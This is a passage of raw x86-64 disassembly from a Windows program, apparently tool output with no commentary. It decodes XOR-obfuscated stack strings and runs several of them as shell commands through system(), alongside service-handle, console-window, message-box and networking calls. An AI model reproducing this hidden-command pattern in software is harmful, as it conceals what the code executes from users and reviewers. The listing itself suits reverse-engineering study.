movabs rax, 0x561428c5dcc969fb
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1470], rax
movabs rax, 0x7abd0462367d06ac
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1478], rax
movabs rax, 0x80a487de6dbb9c15
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1480], rax
movabs r14, 0xd68cf8ffcf72a52c
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1488], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x4080], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x4088], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4090], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x4098], rax
movabs r15, 0x80a487de6dceae23
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x40a0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x40a8], rax
vmovdqu ymm0, ymmword [rbp + 0x4080]
vpxor ymm1, ymm0, ymmword [rbp + 0x1460]
vmovdqa ymmword [rbp + 0x1460], ymm1
vmovdqa xmm2, xmmword [rbp + 0x1480]
vpxor xmm2, xmm2, xmmword [rbp + 0x40a0]
vmovdqa xmmword [rbp + 0x1480], xmm2
lea rcx, [rbp + 0x1460]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x10e0], rax
movabs rax, 0xb336e148b2c30cc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x10e8], rax
movabs rax, 0x5a1e65dedf866dee
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x10f0], rax
movabs rax, 0x34b255272b3d00ee
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x10f8], rax
movabs rax, 0xf594cf994eaf9877
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1100], rax
movabs rax, 0xe0c0b3caa844ea7a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1108], rax
movabs rax, 0x96ea8f300eb77b67
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1110], rax
movabs rax, 0x507cc04e06e55693
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1118], rax
movabs rax, 0x165b92354366d655
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1120], rax
movabs rax, 0xfac07b38d2455d56
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1128], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x41e0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x41e8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x41f0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x41f8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x4200], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x4208], rax
movabs rax, 0xccc7f56849ed4d2d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4210], rax
movabs rax, 0x10a8e016aa464a6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4218], rax
movabs rax, 0x792cc602775eb167
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4220], rax
movabs rax, 0xfaab0d73962f3600
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4228], rax
vmovdqu ymm0, ymmword [rbp + 0x41e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x10e0]
vmovdqa ymmword [rbp + 0x10e0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x1100]
vpxor ymm1, ymm0, ymmword [rbp + 0x4200]
vmovdqa ymmword [rbp + 0x1100], ymm1
vmovdqa xmm2, xmmword [rbp + 0x1120]
vpxor xmm2, xmm2, xmmword [rbp + 0x4220]
vmovdqa xmmword [rbp + 0x1120], xmm2
lea rcx, [rbp + 0x10e0]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov byte [0x14012b375], 0
xor eax, eax
mov byte [rbp + 0xc4], al
mov byte [rbp + 0xc5], al
mov byte [rbp + 0xc6], al
movabs rax, 0xbc370a8a58e625d2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x9e0], rax
movabs rax, 0x5b6b7c68fd100398
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x9e8], rax
movabs rax, 0x24519e1ffe140a9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x9f0], rax
movabs rax, 0x43dc604d5b1265b0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x9f8], rax
movabs rbx, 0xf27849aa1da26a9f
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x42c0], rax
movabs rdi, 0x6e5e413bb15f40b8
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x42c8], rax
movabs rax, 0x33784aa4b1a80c89
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x42d0], rax
movabs rax, 0x43dc604d5b126582
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x42d8], rax
vmovdqu ymm0, ymmword [rbp + 0x9e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x42c0]
vmovdqa ymmword [rbp + 0x9e0], ymm1
lea rcx, [rbp + 0x9e0]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x2e10]
lea rcx, [rbp + 0x1ab0]
call fcn.14000e470
mov rcx, rax
call fcn.140035e90
test al, al
je 0x140040b7b
mov byte [0x14012b375], 1
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
mov edx, 5
call qword [sym.imp.USER32.dll_ShowWindow]
call fcn.1400362b0
test al, al
jne 0x14003cd0a
xor eax, eax
mov byte [rbp + 0xc7], al
mov byte [rbp + 0xc8], al
mov byte [rbp + 0xc9], al
movabs rax, 0xdd5773d96dd61ef7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x14a0], rax
movabs rax, 0xb362254c32b33d9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x14a8], rax
movabs rax, 0x560a25d0c28678e8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x14b0], rax
movabs rax, 0x2fb5062c317509ad
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x14b8], rax
movabs rax, 0xe58acb883d9c8146
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x14c0], rax
movabs rax, 0xd68cf8ffcf72c054
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x14c8], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x40c0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x40c8], rax
movabs r14, 0x33784aa4b1a80c89
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x40d0], rax
movabs rsi, 0x43dc604d5b126582
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x40d8], rax
movabs r12, 0x80a487de6dceae23
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x40e0], rax
movabs r15, 0xd68cf8ffcf72a52c
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x40e8], rax
vmovdqu ymm0, ymmword [rbp + 0x14a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x40c0]
vmovdqa ymmword [rbp + 0x14a0], ymm1
vmovdqa xmm0, xmmword [rbp + 0x14c0]
vpxor xmm0, xmm0, xmmword [rbp + 0x40e0]
vmovdqa xmmword [rbp + 0x14c0], xmm0
lea rdx, [rbp + 0x14a0]
lea rcx, [rbp + 0x2fa0]
vzeroupper
call fcn.140007250
nop
lea rcx, [rbp + 0x2f60]
call fcn.140036d50
nop
lea rdx, str..exe
lea rcx, [rbp + 0x2f60]
call fcn.14000e3f0
lea rdx, [rbp + 0x2f60]
lea rcx, [rbp + 0x2fa0]
call fcn.1400365a0
test al, al
je 0x14003cb01
xor eax, eax
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
movabs rax, 0x961926e63dd50fd1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x11a0], rax
movabs rax, 0x2303654f57f32dd
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x11a8], rax
movabs rax, 0x5f286ac0d4cc6de6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x11b0], rax
movabs rax, 0x2da9326d3e6104e7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x11b8], rax
movabs rax, 0x80a487de6dceae03
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x11c0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x11c8], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x4100], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x4108], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x4110], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x4118], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x4120], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x4128], rax
vmovdqu ymm0, ymmword [rbp + 0x11a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x4100]
vmovdqa ymmword [rbp + 0x11a0], ymm1
vmovdqa xmm0, xmmword [rbp + 0x11c0]
vpxor xmm0, xmm0, xmmword [rbp + 0x4120]
vmovdqa xmmword [rbp + 0x11c0], xmm0
lea r8, [rbp + 0x2f60]
lea rdx, [rbp + 0x11a0]
lea rcx, [rbp + 0x2fd8]
vzeroupper
call fcn.140042530
nop
xor eax, eax
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
movabs rax, 0xf21c2cde7cc61aca
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x440], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x448], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3b60], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x3b68], rax
movdqa xmm0, xmmword [rbp + 0x440]
pxor xmm0, xmmword [rbp + 0x3b60]
movdqa xmmword [rbp + 0x440], xmm0
lea rcx, [rbp + 0x2fd8]
call fcn.1400071f0
mov r9d, 0x40080
lea r8, [rbp + 0x440]
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
call fcn.140036660
nop
lea rcx, [rbp + 0x2fd8]
call fcn.140007240
nop
lea rcx, [rbp + 0x2f60]
call fcn.140007240
nop
lea rcx, [rbp + 0x2fa0]
call fcn.140007240
jmp 0x140041500
xor eax, eax
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
movabs rax, 0xf27849d872d018da
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x450], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x458], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3b50], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x3b58], rax
movdqa xmm0, xmmword [rbp + 0x450]
pxor xmm0, xmmword [rbp + 0x3b50]
movdqa xmmword [rbp + 0x450], xmm0
movabs rax, 0x961926e63dd50fd1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa00], rax
movabs rax, 0x2303654f57f32dd
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa08], rax
movabs rax, 0x5a190c8491cc6de6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa10], rax
movabs rax, 0x43dc604d5b7600ee
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa18], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x37e0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x37e8], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x37f0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x37f8], rax
vmovdqu ymm0, ymmword [rbp + 0xa00]
vpxor ymm1, ymm0, ymmword [rbp + 0x37e0]
vmovdqa ymmword [rbp + 0xa00], ymm1
mov r9d, 0x40030
lea r8, [rbp + 0x450]
lea rdx, [rbp + 0xa00]
xor ecx, ecx
vzeroupper
call qword [sym.imp.USER32.dll_MessageBoxA]
nop
lea rcx, [rbp + 0x2f60]
call fcn.140007240
nop
lea rcx, [rbp + 0x2fa0]
call fcn.140007240
nop
lea rcx, [rbp + 0x2f40]
call fcn.140007240
nop
lea rcx, [rbp + 0x3390]
call fcn.14000dd00
nop
lea rcx, [rbp + 0x2e10]
call fcn.140007240
nop
lea rcx, [rbp + 0x2f00]
call fcn.140007240
nop
lea rcx, [rbp + 0x30e0]
call fcn.1400415d0
nop
lea rcx, [rbp + 0x2ee0]
call fcn.140007240
nop
lea rcx, [rbp + 0x2ec0]
call fcn.140007240
nop
lea rcx, [rbp + 0x2ea0]
call fcn.140007240
nop
lea rcx, [rbp + 0x2e80]
call fcn.140007240
nop
lea rcx, [rbp + 0x2f80]
call fcn.140007240
nop
lea rcx, [rbp + 0x2f20]
call fcn.140007240
nop
lea rcx, [rbp + 0x2e30]
call fcn.1400114f0
mov eax, 1
jmp 0x1400415a0
call fcn.140035dc0
mov byte [0x14012b377], al
cmp byte [0x14012b375], 0
je 0x140040140
lea rdx, [rbp + 0x2e10]
lea rcx, [rbp + 0x2810]
call fcn.14000e470
mov rdx, rax
lea rcx, [rbp + 0x30e0]
call fcn.14008a430
cmp byte [rbp + 0x3320], 0
jne 0x14003d6cf
lea rax, [rbp + 0x1a90]
mov qword [rbp + 0x10], rax
xor eax, eax
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
movabs rax, 0xdd5773d96dd61ef7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xee0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xee8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0xef0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0xef8], rax
movabs rax, 0xb292b5ed5ffc9f0c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xf00], rax
movabs rax, 0xeeb4c9ccf6419719
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xf08], rax
movabs rax, 0xf9f7bf4770d57818
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xf10], rax
movabs rax, 0x6d4ed14401c62ac1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xf18], rax
movabs rax, 0x1873a5372417d752
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xf20], rax
movabs rax, 0x9fdb5737c01c0151
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xf28], rax
movabs rax, 0xc53f2e480f179e00
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xf30], rax
movabs rax, 0xb4a93577eb6f5d39
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xf38], rax
movabs rax, 0xfdf6ebc07357fbe8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xf40], rax
movabs rax, 0x17d265b0ee8de58c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xf48], rax
movabs rax, 0x73c6f16ca59a86a3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xf50], rax
movabs rax, 0x60a3769940942f1f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xf58], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3800], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x3808], rax
movabs r13, 0x33784aa4b1a80c89
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x3810], rax
movabs r12, 0x43dc604d5b126582
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3818], rax
movabs rax, 0x80a487de6dceae23
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3820], rax
movabs rax, 0xd68cf8ffcf72a52c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3828], rax
movabs rax, 0xccc7f56849ed4d2d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3830], rax
movabs rax, 0x10a8e016aa464a6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3838], rax
movabs rax, 0x792cc602775eb167
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3840], rax
movabs rax, 0xfaab0d73962f3600
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3848], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x3850], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x3858], rax
movabs rax, 0x928eb2964a15aaab
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3860], rax
movabs rax, 0x76b633d7bbe99fd4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3868], rax
movabs rax, 0x17b4992095dffcf5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3870], rax
movabs rax, 0x60a3769940942f4e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3878], rax
vmovdqu ymm0, ymmword [rbp + 0xee0]
vpxor ymm1, ymm0, ymmword [rbp + 0x3800]
vmovdqa ymmword [rbp + 0xee0], ymm1
vmovdqu ymm0, ymmword [rbp + 0xf00]
vpxor ymm1, ymm0, ymmword [rbp + 0x3820]
vmovdqa ymmword [rbp + 0xf00], ymm1
vmovdqu ymm0, ymmword [rbp + 0xf20]
vpxor ymm1, ymm0, ymmword [rbp + 0x3840]
vmovdqa ymmword [rbp + 0xf20], ymm1
vmovdqu ymm0, ymmword [rbp + 0xf40]
vpxor ymm1, ymm0, ymmword [rbp + 0x3860]
vmovdqa ymmword [rbp + 0xf40], ymm1
lea rdx, [rbp + 0xee0]
lea rcx, [rbp + 0x1a90]
vzeroupper
call fcn.140007250
mov rsi, rax
movabs rax, 0xf27849aa1dc20aff
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x4a0], rcx
mov qword [rbp], rdi
mov rcx, qword [rbp]
mov qword [rbp + 0x4a8], rcx
mov qword [rbp], rbx
mov rcx, qword [rbp]
mov qword [rbp + 0x3b40], rcx
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x3b48], rax
movdqa xmm0, xmmword [rbp + 0x4a0]
pxor xmm0, xmmword [rbp + 0x3b40]
movdqa xmmword [rbp + 0x4a0], xmm0
movabs rax, 0xc80a26d86fe74abf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x490], rax
movabs rax, 0x6e5e413bb15f6098
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x498], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3b30], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x3b38], rax
movdqa xmm0, xmmword [rbp + 0x490]
pxor xmm0, xmmword [rbp + 0x3b30]
movdqa xmmword [rbp + 0x490], xmm0
lea rcx, [rbp + 0x2970]
call fcn.140036e80
mov rdi, rax
movabs rax, 0x9f19078a7ef24abf
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x480], rcx
movabs rax, 0x6e5e413b917f7add
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x488], rcx
mov qword [rbp], rbx
mov rcx, qword [rbp]
mov qword [rbp + 0x3b20], rcx
movabs r14, 0x6e5e413bb15f40b8
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x3b28], rax
movdqa xmm0, xmmword [rbp + 0x480]
pxor xmm0, xmmword [rbp + 0x3b20]
movdqa xmmword [rbp + 0x480], xmm0
movabs rax, 0x970b27cf7ecb26bf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x470], rax
movabs r15, 0x6e5e413bb17f6082
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x478], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3b10], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x3b18], rax
movdqa xmm0, xmmword [rbp + 0x470]
pxor xmm0, xmmword [rbp + 0x3b10]
movdqa xmmword [rbp + 0x470], xmm0
mov edx, 0x7f
lea rcx, [rbp + 0x2990]
call fcn.140011310
mov rbx, rax
movabs rax, 0x9f193bcd72d03abf
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0xa20], rcx
movabs rax, 0x312848c33a1698
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0xa28], rcx
movabs rax, 0x33784aa4b1882cb3
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0xa30], rcx
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xa38], rax
movabs rcx, 0xf27849aa1da26a9f
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x37e0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x37e8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x37f0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x37f8], rax
vmovdqu ymm0, ymmword [rbp + 0xa20]
vpxor ymm1, ymm0, ymmword [rbp + 0x37e0]
vmovdqa ymmword [rbp + 0xa20], ymm1
movabs rax, 0x9c1720d96fc73cbf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x460], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x468], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x3b00], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x3b08], rax
vmovdqa xmm0, xmmword [rbp + 0x460]
vpxor xmm0, xmm0, xmmword [rbp + 0x3b00]
vmovdqa xmmword [rbp + 0x460], xmm0
movabs rax, 0x860b3cf83dc20aff
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1320], rax
movabs rax, 0x73f071bde2d1098
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1328], rax
movabs rax, 0x5716788491cc69e5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1330], rax
movabs rax, 0x63e60e243c7d29a2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1338], rax
movabs rax, 0x80a487de6dceae03
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1340], rax
movabs rdx, 0xd68cf8ffcf72a52c
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x1348], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x3e80], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x3e88], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x3e90], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3e98], rax
movabs rax, 0x80a487de6dceae23
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3ea0], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x3ea8], rax
vmovdqu ymm0, ymmword [rbp + 0x1320]
vpxor ymm1, ymm0, ymmword [rbp + 0x3e80]
vmovdqa ymmword [rbp + 0x1320], ymm1
vmovdqa xmm0, xmmword [rbp + 0x1340]
vpxor xmm0, xmm0, xmmword [rbp + 0x3ea0]
vmovdqa xmmword [rbp + 0x1340], xmm0
lea r8, [0x14012a090]
lea rdx, [rbp + 0x1320]
lea rcx, [rbp + 0x29b0]
vzeroupper
call fcn.140042530
nop
lea r8, [rbp + 0x460]
mov rdx, rax
lea rcx, [rbp + 0x29d0]
call fcn.140042690
nop
lea r8, [0x14012b4c8]
mov rdx, rax
lea rcx, [rbp + 0x1950]
call fcn.140042e40
nop
lea r8, [rbp + 0xa20]
mov rdx, rax
lea rcx, [rbp + 0x1970]
call fcn.140042690
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1990]
call fcn.140042e20
nop
lea r8, [rbp + 0x470]
mov rdx, rax
lea rcx, [rbp + 0x19b0]
call fcn.140042690
nop
lea r8, [rbp + 0x2e10]
mov rdx, rax
lea rcx, [rbp + 0x19d0]
call fcn.140042e40
nop
lea r8, [rbp + 0x480]
mov rdx, rax
lea rcx, [rbp + 0x19f0]
call fcn.140042690
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x1a10]
call fcn.140042e20
nop
lea r8, [rbp + 0x490]
mov rdx, rax
lea rcx, [rbp + 0x1a30]
call fcn.140042690
nop
lea r8, [rbp + 0x3328]
mov rdx, rax
lea rcx, [rbp + 0x1a50]
call fcn.140042e40
nop
lea r8, [rbp + 0x4a0]
mov rdx, rax
lea rcx, [rbp + 0x1a70]
call fcn.140042690
nop
mov rdx, rsi
mov rcx, rax
call fcn.140030f00
nop
lea rcx, [rbp + 0x1a50]
call fcn.140007240
nop
lea rcx, [rbp + 0x1a30]
call fcn.140007240
nop
lea rcx, [rbp + 0x1a10]
call fcn.140007240
nop
lea rcx, [rbp + 0x19f0]
call fcn.140007240
nop
lea rcx, [rbp + 0x19d0]
call fcn.140007240
nop
lea rcx, [rbp + 0x19b0]
call fcn.140007240
nop
lea rcx, [rbp + 0x1990]
call fcn.140007240
nop
lea rcx, [rbp + 0x1970]
call fcn.140007240
nop
lea rcx, [rbp + 0x1950]
call fcn.140007240
nop
lea rcx, [rbp + 0x29d0]
call fcn.140007240
nop
lea rcx, [rbp + 0x29b0]
call fcn.140007240
nop
lea rcx, [rbp + 0x2990]
call fcn.140007240
nop
lea rcx, [rbp + 0x2970]
call fcn.140007240
mov ecx, reloc.WS2_32.dll_WSAGetLastError
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
cmp byte [0x14012b377], 0
jne 0x14003ddc7
xor eax, eax
mov byte [rbp + 0xca], al
mov byte [rbp + 0xcb], al
mov byte [rbp + 0xcc], al
movabs rax, 0x801d3bc571d212fa
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4b0], rax
movabs rax, 0x6e5e413bd4272596
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4b8], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3af0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x3af8], rax
movdqa xmm0, xmmword [rbp + 0x4b0]
pxor xmm0, xmmword [rbp + 0x3af0]
movdqa xmmword [rbp + 0x4b0], xmm0
lea rcx, [rbp + 0x4b0]
call fcn.140011ec0
mov eax, eax
mov qword [0x14012b3a0], rax
xor eax, eax
mov byte [rbp + 0xcd], al
mov byte [rbp + 0xce], al
mov byte [rbp + 0xcf], al
movabs rax, 0x9e0839eb418c36c3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4c0], rax
movabs rax, 0x6e5e413bb1071fdd
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4c8], rax
mov qword [rbp], rbx
